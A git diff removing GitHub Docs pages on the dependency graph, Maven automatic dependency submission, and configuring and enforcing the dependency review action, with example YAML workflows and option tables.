variables.product.prodname_dotcom %} uses the dependency graph to add dependency reviews to the pull request. These indicate whether the dependencies contain vulnerabilities and, if so, the version of the dependency in which the vulnerability was fixed. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -{% data reusables.dependency-graph.sbom-export %} - -## Dependency graph availability - -{% ifversion fpt or ghec %} -{% data reusables.dependency-graph.feature-availability %} For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). - -Repository administrators can also set up the dependency graph for private repositories. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph). - -{% endif %} - -{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} - -{% ifversion ghes %} -For more information about configuration of the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph).{% endif %} - -## Dependencies included - -The dependency graph includes all the dependencies of a repository that are detailed in the manifest and lock files, or their equivalent, for supported ecosystems, as well as any dependencies that are submitted using the {% data variables.dependency-submission-api.name %}. This includes: - -* Direct dependencies, that are explicitly defined in a manifest or lock file or have been submitted using the {% data variables.dependency-submission-api.name %} -* Indirect dependencies of these direct dependencies, also known as transitive dependencies or sub-dependencies - -The dependency graph identifies indirect dependencies{% ifversion fpt or ghec %} only if they are defined in a lock file or have been submitted using the {% data variables.dependency-submission-api.name %}. For the most reliable graph, you should use lock files (or their equivalent) because they define exactly which versions of the direct and indirect dependencies you currently use. If you use lock files, you also ensure that all contributors to the repository are using the same versions, which will make it easier for you to test and debug code{% else %} from the lock files{% endif %}. If your ecosystem does not have lock files, you can use pre-made actions that resolve transitive dependencies for many ecosystems. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api#using-pre-made-actions). - -For more information on how {% data variables.product.github %} helps you understand the dependencies in your environment, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security). - -{% ifversion fpt or ghec %} - -## Dependents included - -For public repositories, only public repositories that depend on it or on packages that it publishes are reported. This information is not reported for private repositories.{% endif %} - -## Using the dependency graph - -You can use the dependency graph to: - -* Explore the repositories your code depends on{% ifversion fpt or ghec %}, and those that depend on it{% endif %}. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository). {% ifversion ghec %} -* View a summary of the dependencies used in your organization's repositories in a single dashboard. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization#viewing-organization-dependency-insights).{% endif %} -* View and update vulnerable dependencies for your repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). -* See information about vulnerable dependencies in pull requests. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request). - -## Further reading - -* [Dependency graph](https://en.wikipedia.org/wiki/Dependency_graph) on Wikipedia -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository.md deleted file mode 100644 index 8fbab640dbcd..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Configuring automatic dependency submission for your repository -shortTitle: Automatic dependency submission -intro: 'You can use automatic dependency submission to submit transitive dependency data in your repository. This enables you to analyze these transitive dependencies using the dependency graph.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /early-access/ghas/automatic-dependency-submission-for-maven -versions: - feature: maven-transitive-dependencies -type: how_to -topics: - - Dependency graph - - Dependencies - - Repositories ---- - -## About automatic dependency submission - -> [!NOTE] -> Automatic dependency submission is currently only supported for Maven. - -Dependency graph analyzes the manifest and lock files in a repository, in order to help users understand the upstream packages that their software project depends on. However, in some ecosystems, the resolution of transitive dependencies occurs at build-time and {% data variables.product.company_short %} isn't able to automatically discover all dependencies based on the contents of the repository alone. - -When you enable automatic dependency submission for a repository, {% data variables.product.company_short %} automatically identifies the transitive dependencies in the repository and will submit these dependencies to {% data variables.product.company_short %} using the {% data variables.dependency-submission-api.name %}. You can then explore these dependencies using the dependency graph. {% data variables.product.prodname_dependabot %} will notify you about security updates for these dependencies by generating {% data variables.product.prodname_dependabot_alerts %} . - -Using automatic dependency submission counts toward your {% data variables.product.prodname_actions %} minutes. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -Optionally, you can choose to configure self-hosted runners or {% data variables.product.company_short %}-hosted {% data variables.actions.hosted_runners %} for automatic dependency submission. For more information, see [Using self-hosted runners for automatic dependency submission](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository#using-self-hosted-runners-for-automatic-dependency-submission -) and [Using GitHub-hosted larger runners for automatic dependency submission](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository#using-github-hosted-larger-runners-for-automatic-dependency-submission -). - -## Prerequisites - -Dependency graph must be enabled for the repository for you to enable automatic dependency submission. - -You must also enable {% data variables.product.prodname_actions %} for the repository in order to use automatic dependency submission. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository). - -## Enabling automatic dependency submission - -Repository administrators can enable or disable automatic dependency submission for a repository by following the steps outlined in this procedure. - -Organization owners can enable automatic dependency submission for multiple repositories using a security configuration. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Dependency graph", click the dropdown menu next to “Automatic dependency submission”, then select **Enabled**. - -Once you've enabled automatic dependency submission for a repository, {% data variables.product.company_short %} will: -* Monitor for changes to the `pom.xml` file in the root of the repository on all branches of the repository. -* Perform an automatic dependency submission on each change. - -You can view details about the automatic workflows run by viewing the **Actions** tab of your repository. - -> [!NOTE] Automatic submission will occur on the first push to the `pom.xml` file after the option is enabled. - -## Using self-hosted runners for automatic dependency submission - -You can configure self-hosted runners to run automatic dependency submission jobs, instead of using the {% data variables.product.prodname_actions %} infrastructure. - -1. Provision one or more self-hosted runners, at the repository or organization level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). The self-hosted runners must be running on Linux or macOS, and must have Docker installed. -1. Assign a `dependency-submission` label to each runner you want automatic dependency submission to use. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner). -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Dependency graph", click the dropdown menu next to “Automatic dependency submission”, then select **Enabled for labeled runners**. - -Once enabled, automatic dependency submission jobs will run on the self-hosted runners, unless: -* The self-hosted runners are unavailable. -* There aren't any runner groups tagged with a `dependency-submission` label. - ->[!NOTE] When using self-hosted runners, you need to add access to the Maven server settings file to allow the dependency submission workflows to connect to private registries. Dependencies from private registries will be included in the dependency tree in the next `pom.xml` update. For more information about the Maven server settings file, see [Security and Deployment Settings](https://maven.apache.org/guides/introduction/introduction-to-dependency-mechanism.html#transitive-dependencies) in the Maven documentation. - -## Using {% data variables.product.company_short %}-hosted {% data variables.actions.hosted_runners %} for automatic dependency submission - -{% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %} users can use {% data variables.actions.hosted_runners %} to run automatic dependency submissions jobs. - -1. Provision a larger runner at the organization level with the name `dependency-submission`. For more information, see [Adding a {% data variables.actions.hosted_runner %} to an organization](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#adding-a-larger-runner-to-an-organization). -1. Give your repository access to the runner. For more information, see [Allowing repositories to access {% data variables.actions.hosted_runners %}](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#allowing-repositories-to-access-larger-runners). -1. Under "Dependency graph", click the dropdown menu next to “Automatic dependency submission”, then select **Enabled for labeled runners**. - -## Troubleshooting automatic dependency submission - -Automatic dependency submission is currently only supported for Maven. The feature uses the Maven Dependency Tree Submission action. For more information, see the documentation for the [Maven Dependency Tree Dependency Submission](https://github.com/marketplace/actions/maven-dependency-tree-dependency-submission) action in the {% data variables.product.prodname_marketplace %}. If your project uses a non-standard Maven configuration, it may not properly generate the dependencies and submit them to the dependency graph. - -Automatic dependency submission makes a best effort to cache package downloads between runs using the [Cache](https://github.com/marketplace/actions/cache) action to speed up workflows. For self-hosted runners, you may want to manage this cache within your own infrastructure. To do this, you can disable the built-in caching by setting an environment variable of `GH_DEPENDENCY_SUBMISSION_SKIP_CACHE` to `true`. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables). - -If your repository's dependencies seem inaccurate, check that the timestamp of the last dependency graph build matches the last change to your `pom.xml` file. The timestamp is visible on the table of alerts in the repository's {% data variables.product.prodname_dependabot_alerts %} tab. Pushing a commit which updates `pom.xml` will trigger a new run of the Dependency Tree Submission action and force a rebuild of that repository's dependency graph. - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md deleted file mode 100644 index 33683c9da723..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Configuring the dependency graph -intro: You can allow users to identify their projects' dependencies by enabling the dependency graph. -permissions: '{% data reusables.permissions.dependency-graph %}' -redirect_from: - - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependency graph - - Dependencies - - Repositories -shortTitle: Configure dependency graph ---- -## About the dependency graph - -{% data reusables.dependabot.about-the-dependency-graph %} - -For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). - -{% ifversion ghes %} - -## Enabling the dependency graph - -{% data reusables.dependabot.ghes-enabling-dependency-graph %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## Configuring the dependency graph - -To generate a dependency graph, {% data variables.product.github %} needs read-only access to the dependency manifest and lock files for a repository. The dependency graph is automatically generated for all public repositories and you can choose to enable it for private {% ifversion ghec %}and internal {% endif %}repositories, and public forks. For more information on viewing the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository). - -{% data reusables.dependency-submission.dependency-submission-link %} - -### Enabling and disabling the dependency graph - -{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo-public-fork %} - -{% endif %} - -When the dependency graph is first enabled, any manifest and lock files for supported ecosystems are parsed immediately. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. Once enabled, the graph is automatically updated with every push to the repository{% ifversion fpt or ghec %} and every push to other repositories in the graph{% endif %}. - -{% ifversion ghes %} -{% data reusables.dependency-submission.dependency-submission-link %} -{% endif %} - -## Further reading - -{%- ifversion maven-transitive-dependencies %} -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository){%- endif %} -{%- ifversion ghec %} -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization){%- endif %} -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action.md deleted file mode 100644 index d5487ffc0ded..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action.md +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Configuring the dependency review action -shortTitle: Configure dependency review action -intro: You can use the {% data variables.dependency-review.action_name %} to catch vulnerabilities before they are added to your project. -permissions: '{% data reusables.permissions.security-repo-enable %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Dependency review - - Vulnerabilities - - Dependencies - - Pull requests -redirect_from: - - /code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review ---- - -## About the {% data variables.dependency-review.action_name %} - -The "{% data variables.dependency-review.action_name %}" refers to the specific action that can report on differences in a pull request within the {% data variables.product.prodname_actions %} context, and add enforcement mechanisms to the {% data variables.product.prodname_actions %} workflow. - -{% data reusables.dependency-review.dependency-review-action-overview %} - -{% data reusables.dependency-review.org-level-enforcement %} - -Here is a list of common configuration options. For more information, and a full list of options, see [Dependency Review](https://github.com/marketplace/actions/dependency-review) on the {% data variables.product.prodname_marketplace %}. - -| Option | Required | Usage | -|------------------|-------------------------------|--------| -| `fail-on-severity` | {% octicon "x" aria-label="Optional" %} | Defines the threshold for level of severity (`low`, `moderate`, `high`, `critical`).</br>The action will fail on any pull requests that introduce vulnerabilities of the specified severity level or higher. | -| {% ifversion dependency-review-action-licenses %} | -| `allow-licenses` | {% octicon "x" aria-label="Optional" %} | Contains a list of allowed licenses. You can find the possible values for this parameter in the [Licenses](/rest/licenses) page of the API documentation.</br>The action will fail on pull requests that introduce dependencies with licenses that do not match the list.| -| {% endif %} | -| {% ifversion dependency-review-action-licenses %} | -| `deny-licenses` | {% octicon "x" aria-label="Optional" %} | Contains a list of prohibited licenses. You can find the possible values for this parameter in the [Licenses](/rest/licenses) page of the API documentation.</br>The action will fail on pull requests that introduce dependencies with licenses that match the list.| -| {% endif %} | -| `fail-on-scopes` | {% octicon "x" aria-label="Optional" %} | Contains a list of strings representing the build environments you want to support (`development`, `runtime`, `unknown`). </br>The action will fail on pull requests that introduce vulnerabilities in the scopes that match the list.| -| `comment-summary-in-pr` | {% octicon "x" aria-label="Optional" %} | Enable or disable the reporting of the review summary as a comment in the pull request. If enabled, you must give the workflow or job the `pull-requests: write` permission. With each execution, a new comment will overwrite the existing one.| -| `allow-ghsas` | {% octicon "x" aria-label="Optional" %} | Contains a list of {% data variables.product.prodname_advisory_database %} IDs that can be skipped during detection. You can find the possible values for this parameter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories). | -| `config-file` | {% octicon "x" aria-label="Optional" %} | Specifies a path to a configuration file. The configuration file can be local to the repository or a file located in an external repository.| -| `external-repo-token` | {% octicon "x" aria-label="Optional" %} | Specifies a token for fetching the configuration file, if the file resides in a private external repository. The token must have read access to the repository.| - -{% ifversion dependency-review-action-licenses %} - -> [!TIP] -> The `allow-licenses` and `deny-licenses` options are mutually exclusive. - -## Configuring the {% data variables.dependency-review.action_name %} - -There are two methods of configuring the {% data variables.dependency-review.action_name %}: -* Inlining the configuration options in your workflow file. -* Referencing a configuration file in your workflow file. - -Notice that all of the examples use a short version number for the action (`v3`) instead of a semver release number (for example, `v3.0.8`). This ensures that you use the most recent minor version of the action. - -### Using inline configuration to set up the {% data variables.dependency-review.action_name %} - -1. Add a new YAML workflow to your `.github/workflows` folder. - - {% ifversion ghes %}For `runs-on`, the default label is `self-hosted`. You can replace the default label with the label of any of your runners.{% endif %} - - ```yaml copy - name: 'Dependency Review' - on: [pull_request] - - permissions: - contents: read - - jobs: - dependency-review: - runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} - steps: - - name: 'Checkout Repository' - uses: {% data reusables.actions.action-checkout %} - - name: Dependency Review - uses: actions/dependency-review-action@v4 - ``` - -1. Specify your settings. - - This {% data variables.dependency-review.action_name %} example file illustrates how you can use the available configuration options. - - <!-- markdownlint-disable search-replace --> - - ```yaml copy - name: 'Dependency Review' - on: [pull_request] - - permissions: - contents: read - - jobs: - dependency-review: - runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} - steps: - - name: 'Checkout Repository' - uses: {% data reusables.actions.action-checkout %} - - name: Dependency Review - uses: actions/dependency-review-action@v4 - with: - # Possible values: "critical", "high", "moderate", "low" - fail-on-severity: critical - - {% ifversion dependency-review-action-licenses %} - # You can only include one of these two options: `allow-licenses` and `deny-licenses` - # ([String]). Only allow these licenses (optional) - # Possible values: Any SPDX-compliant license identifiers or expressions from https://spdx.org/licenses/ - allow-licenses: GPL-3.0, BSD-3-Clause, MIT - # ([String]). Block the pull request on these licenses (optional) - # Possible values: Any SPDX-compliant license identifiers or expressions from https://spdx.org/licenses/ - deny-licenses: LGPL-2.0, BSD-2-Clause - {% endif %} - # ([String]). Skip these {% data variables.product.prodname_advisory_database %} IDs during detection (optional) - # Possible values: Any valid {% data variables.product.prodname_advisory_database %} ID from https://github.com/advisories - allow-ghsas: GHSA-abcd-1234-5679, GHSA-efgh-1234-5679 - # ([String]). Block pull requests that introduce vulnerabilities in the scopes that match this list (optional) - # Possible values: "development", "runtime", "unknown" - fail-on-scopes: development, runtime - ``` - - <!-- markdownlint-enable search-replace --> - -### Using a configuration file to set up {% data variables.dependency-review.action_name %} - -1. Add a new YAML workflow to your `.github/workflows` folder and use `config-file` to specify that you are using a configuration file. - - {% ifversion ghes %}For `runs-on`, the default label is `self-hosted`. You can replace the default label with the label of any of your runners.{% endif %} - - ```yaml copy - name: 'Dependency Review' - on: [pull_request] - - permissions: - contents: read - - jobs: - dependency-review: - runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} - steps: - - name: 'Checkout Repository' - uses: {% data reusables.actions.action-checkout %} - - name: Dependency Review - uses: actions/dependency-review-action@v4 - with: - # ([String]). Representing a path to a configuration file local to the repository or in an external repository. - # Possible values: An absolute path to a local file or an external file. - config-file: './.github/dependency-review-config.yml' - # Optional alternative syntax for an external file: OWNER/REPOSITORY/FILENAME@BRANCH (uncomment if preferred) - # config-file: 'github/octorepo/dependency-review-config.yml@main' - - # ([Token]) Use if your configuration file resides in a private external repository. - # Possible values: Any GitHub token with read access to the private external repository. - external-repo-token: 'ghp_123456789abcde' - ``` - -1. Create the configuration file in the path you have specified. - - This YAML example file illustrates how you can use the available configuration options. - - <!-- markdownlint-disable search-replace --> - - ```yaml copy - # Possible values: "critical", "high", "moderate", "low" - fail-on-severity: critical - {% ifversion dependency-review-action-licenses %} - # You can only include one of these two options: `allow-licenses` and `deny-licenses` - # ([String]). Only allow these licenses (optional) - # Possible values: Any SPDX-compliant license identifiers or expressions from https://spdx.org/licenses/ - allow-licenses: - - GPL-3.0 - - BSD-3-Clause - - MIT - # ([String]). Block the pull request on these licenses (optional) - # Possible values: Any SPDX-compliant license identifiers or expressions from https://spdx.org/licenses/ - deny-licenses: - - LGPL-2.0 - - BSD-2-Clause - {% endif %} - # ([String]). Skip these {% data variables.product.prodname_advisory_database %} IDs during detection (optional) - # Possible values: Any valid {% data variables.product.prodname_advisory_database %} ID from https://github.com/advisories - allow-ghsas: - - GHSA-abcd-1234-5679 - - GHSA-efgh-1234-5679 - # ([String]). Block pull requests that introduce vulnerabilities in the scopes that match this list (optional) - # Possible values: "development", "runtime", "unknown" - fail-on-scopes: - - development - - runtime - ``` - - <!-- markdownlint-enable search-replace --> - -For further details about the configuration options, see [`dependency-review-action`](https://github.com/actions/dependency-review-action#readme). -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/customizing-your-dependency-review-action-configuration) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/customizing-your-dependency-review-action-configuration.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/customizing-your-dependency-review-action-configuration.md deleted file mode 100644 index 44c63f509984..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/customizing-your-dependency-review-action-configuration.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Customizing your dependency review action configuration -shortTitle: Customize dependency review action -intro: 'Learn how to add a basic customization to your dependency review action configuration.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Dependency graph - - Dependencies - - Repositories ---- - -## Introduction - -The {% data variables.dependency-review.action_name %} scans your pull requests for dependency changes and raises an error if any new dependencies have known vulnerabilities. Once installed, if the workflow run is marked as required, pull requests introducing known vulnerable packages will be blocked from merging. - -This guide shows you how to add three very common customizations: failing builds based on vulnerability severity level, dependency license, and scope. - -### Prerequisites - -This guide assumes that: - -* Dependency graph is enabled for the repository.{% ifversion fpt or ghec %} Dependency graph is enabled by default for public repositories and you can choose to enable it for private{% ifversion ghec %} and internal{% endif %} repositories, and public forks.{% endif %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph#enabling-and-disabling-the-dependency-graph-for-a-private-repository). -* {% data variables.product.prodname_actions %} is enabled for the repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository). - -## Step 1: Adding the dependency review action - -In this step, we'll add the dependency review workflow to your repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. Under "Get started with {% data variables.product.prodname_actions %}", find the "Security" category, then click **View all**. -1. Find "Dependency review", then click **Configure**. Alternatively, search for "Dependency review" using the search bar. -1. This will open dependency review’s {% data variables.product.prodname_actions %} workflow file, `dependency-review.yml`. It should contain the following: - - ```yaml copy - name: 'Dependency review' - on: - pull_request: - branches: [ "main" ] - - permissions: - contents: read - - jobs: - dependency-review: - runs-on: ubuntu-latest - steps: - - name: 'Checkout repository' - uses: {% data reusables.actions.action-checkout %} - - name: 'Dependency Review' - uses: actions/dependency-review-action@v4 - ``` - -## Step 2: Changing the severity - -You can block code containing vulnerable dependencies from ever being merged by setting the {% data variables.dependency-review.action_name %} to required. However, it's worth noting that blocking low-risk vulnerabilities may be too restrictive in some circumstances. In this step, we will change the severity of vulnerability that will cause a build to fail with the `fail-on-severity` option. - -1. Add the `fail-on-severity` option to the end of the `dependency-review.yml` file: - - ```yaml copy - - name: 'Dependency Review' - uses: actions/dependency-review-action@v4 - with: - fail-on-severity: moderate - ``` - -## Step 3: Adding licenses to block - -Vulnerabilities aren’t the only reason you might want to block a dependency. If your organization has restrictions on what sorts of licenses you can use, you can use dependency review to enforce those policies with the `deny-licenses` option. In this step, we will add a customization that will break the build if the pull request introduces a dependency that contains the LGPL-2.0 or BSD-2-Clause license. - -1. Add the `deny-licenses` option to the end of the `dependency-review.yml` file: - - ```yaml copy - - name: 'Dependency Review' - uses: actions/dependency-review-action@v4 - with: - fail-on-severity: moderate - deny-licenses: LGPL-2.0, BSD-2-Clause - ``` - -## Step 4: Adding scopes - -Finally, we'll use the `fail-on-scopes` option to prevent merging vulnerable dependencies to specific deployment environments, in this case the development environment. - -1. Add the `fail-on-scopes` option to the end of the `dependency-review.yml` file: - - ```yaml copy - - name: 'Dependency Review' - uses: actions/dependency-review-action@v4 - with: - fail-on-severity: moderate - deny-licenses: LGPL-2.0, BSD-2-Clause - fail-on-scopes: development - ``` - -## Step 5: Check the configuration - -The `dependency-review.yml` file should now look like this: - -```yaml copy - -name: 'Dependency Review' -on: [pull_request] - - - -permissions: - contents: read - - - -jobs: - dependency-review: - runs-on: ubuntu-latest - steps: - - name: 'Checkout Repository' - uses: {% data reusables.actions.action-checkout %} - - name: Dependency Review - uses: actions/dependency-review-action@v4 - with: - fail-on-severity: moderate - deny-licenses: LGPL-2.0, BSD-2-Clause - fail-on-scopes: development -``` - -You can use this configuration as a template for your own custom configurations. - -For more information on all the possible customization options, see the [README](https://github.com/actions/dependency-review-action/blob/main/README.md#configuration) in the dependency review action documentation. - -## Best practices - -When customizing your dependency review configuration, there are some best practices you can follow: - -* Choose block lists over allow lists. It is more practical to compile a list of the "really bad" dependencies you want to block than to create an inclusive list of all the libraries you want to allow. - -* Choose to block licenses instead of specifying which licenses to allow. There are a wide variety of licenses out there, so it's usually more practical to exclude those you know are incompatible with current licenses than it is to compile a complete list of compatible licenses. - -* Choose `fail-on-severity`. Failing based on the severity of a vulnerability is a good way to balance the need for security with the need to create low-friction experiences for developers. - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/enforcing-dependency-review-across-an-organization) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems.md deleted file mode 100644 index 831ee61ded06..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Dependency graph supported package ecosystems -shortTitle: Dependency graph ecosystem support # Max 31 characters -intro: 'Dependency graph supports a variety of ecosystems.' -allowTitleToDifferFromFilename: true -type: reference -topics: - - Dependency graph - - Dependencies - - Alerts - - Vulnerabilities - - Repositories -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About the dependency graph - -{% data reusables.dependabot.about-the-dependency-graph %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). - -In this article, you can see what the supported ecosystems are. - -## Supported package ecosystems - -The recommended formats explicitly define which versions are used for all direct and all indirect dependencies. If you use these formats, your dependency graph is more accurate. It also reflects the current build set up and enables the dependency graph to report vulnerabilities in both direct and indirect dependencies.{% ifversion fpt or ghec %} Indirect dependencies that are inferred from a manifest file (or equivalent) are excluded from the checks for insecure dependencies.{% endif %} - -{% data reusables.dependency-graph.supported-package-ecosystems %} - -{% ifversion maven-transitive-dependencies %} - -For ecosystems that resolve transitive dependencies at build-time, we recommend configuring dependency submission to automatically submit these dependencies to the dependency graph. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository). - -{% endif %} - -## Package ecosystems supported via dependency submission actions - -You can use the {% data variables.dependency-submission-api.name %} to add build-time dependencies to the dependency graph, or to add dependencies from package managers and ecosystems of your choice to the dependency graph, even if the ecosystem is not in the supported ecosystem list above. Dependency information from these submitted dependencies will, in turn, flow into {% data variables.product.prodname_dependabot_updates %} and {% data variables.product.prodname_dependabot_alerts %}. - -{% data reusables.dependency-graph.dependency-submission-API-short %} For more information on the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -You typically use the {% data variables.dependency-submission-api.name %} in a {% data variables.product.prodname_actions %} workflow to submit dependencies for your project when your project is built. {% data reusables.dependency-submission.api-premade-actions %} You can find links to the currently available actions in the table below. - -{% data reusables.dependency-submission.premade-action-table %} - -You can also create your own action. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api#creating-your-own-action). diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/enforcing-dependency-review-across-an-organization.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/enforcing-dependency-review-across-an-organization.md deleted file mode 100644 index ca0f7a5379be..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/enforcing-dependency-review-across-an-organization.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Enforcing dependency review across an organization -intro: 'Dependency review lets you catch insecure dependencies before you introduce them to your environment. You can enforce the use of the {% data variables.dependency-review.action_name %} across your organization.' -shortTitle: Enforce dependency review -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Code Security - - Dependency review - - Vulnerabilities - - Dependencies - - Pull requests ---- - -## About dependency review enforcement - -{% data reusables.dependency-review.action-enterprise %} - -{% data reusables.dependency-review.about-dependency-review-action %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action). - -You can enforce the use of the {% data variables.dependency-review.action_name %} in your organization by setting up a repository ruleset that will require the `dependency-review-action` workflow to pass before pull requests can be merged. Repository rulesets are rule settings that allow you to control how users can interact with selected branches and tags in your repositories. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets) and [Require workflows to pass before merging](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-workflows-to-pass-before-merging). - -## Prerequisites - -You need to add the {% data variables.dependency-review.action_name %} to one of the repositories in your organization, and configure the action. For more information, see [Configuring the dependency review 